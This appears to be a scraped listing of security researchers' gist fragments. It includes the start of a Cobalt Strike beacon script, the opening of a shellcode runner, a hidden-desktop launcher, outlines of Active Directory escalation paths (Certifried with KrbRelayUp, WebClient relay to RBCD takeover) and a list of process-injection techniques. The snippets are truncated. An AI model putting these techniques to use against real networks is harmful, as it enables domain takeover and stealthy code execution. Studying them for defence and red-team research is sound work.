adamsvoboda

%windir%\system32\WerFaultSecure.exe
%windir%\system32\mrt.exe
%windir%\system32\svchost.exe
%windir%\system32\NETSTAT.EXE
%windir%\system32\wbem\WmiPrvSE.exe
%windir%\system32\DriverStore\FileRepository\*\NVWMI\nvWmi64.exe
%programfiles(x86)%\Microsoft Intune Management Extension\ClientHealthEval.exe
%programfiles(x86)%\Microsoft Intune Management Extension\SensorLogonTask.exe
%programfiles(x86)%\Microsoft Intune Management Extension\Microsoft.Management.Services.IntuneWindowsAgent.exe
%programdata%\Microsoft\Windows Defender Advanced Threat Protection\DataCollection\*\OpenHandleCollector.exe

defparam

from threading import Thread
import time

class TrafficMagnet(burp.IProxyListener):
    def __init__(self):
        callbacks.registerProxyListener(self)
        self._helpers = callbacks.getHelpers()
        self._callbacks = callbacks
        

tothi

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

Flangvik

on heartbeat_15m {
	    foreach $beacon (beacons()) {
			println("[VPN] Running command on id: " . $beacon['id'] . ", hostname:" . binfo($beacon['id'], "computer") . "\n");
	        $id = $beacon['id'];
			bipconfig($id,{
				print("[VPN] Captured network interfaces from " . binfo($1, "computer") . ", looking for a new IPs to alert on\n"); 
                exec("python3.7 /<fullpath>/AlertOnNewIp.py --data " . transform($2, "powershell-base64") . " --user " . binfo($1, "user") . " --computer " . binfo($1, "computer"));   
            });
	    }    

Flangvik

#!/usr/bin/env python
# Super dirty python3 scripts that alerts Cobalt Strike operator using pushover when a new IP is found amoung network interface on beacon
# Aggressor script for triggering this : https://gist.github.com/Flangvik/c31b26129743be699133dc9dab9c02c5
import argparse
from datetime import datetime
from base64 import b64encode,b64decode
from pushover import init, Client
from os import path

parser = argparse.ArgumentParser(description='beacon info')

jackullrich

#include <Windows.h>

LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();

LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;

Flangvik

PKI Abuse

Some golden links when you are having issues: https://social.technet.microsoft.com/Forums/windows/en-US/96016a13-9062-4842-b534-203d2f400cae/ca-certificate-request-error-quotdenied-by-policy-module-0x80094800quot-windows-server-2008?forum=winserversecurity

Enumerating ADCS On Linux

Download and install Certi

Mr-Un1k0d3r

// To compile: gcc64.exe run.c -o run.exe
// To run:     run.exe cmd.exe "/c whoami"

#include <Windows.h>
#include <stdio.h>

int main(int argc, char **argv) {

    CHAR cDesktop[] = "hiddendesktop";
    HDESK hDesk = CreateDesktop(cDesktop, NULL, NULL, DF_ALLOWOTHERACCOUNTHOOK, GENERIC_ALL, NULL);

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

hasherezade

PE Injection/Impersonation:

• Process Hollowing (a.k.a. RunPE)
• Process Doppelgänging
• Transacted Hollowing
• Process Ghosting
• Module Overloading & DLL Hollowing
• Chimera PE (variant of a manual PE loader)
• Process Overwriting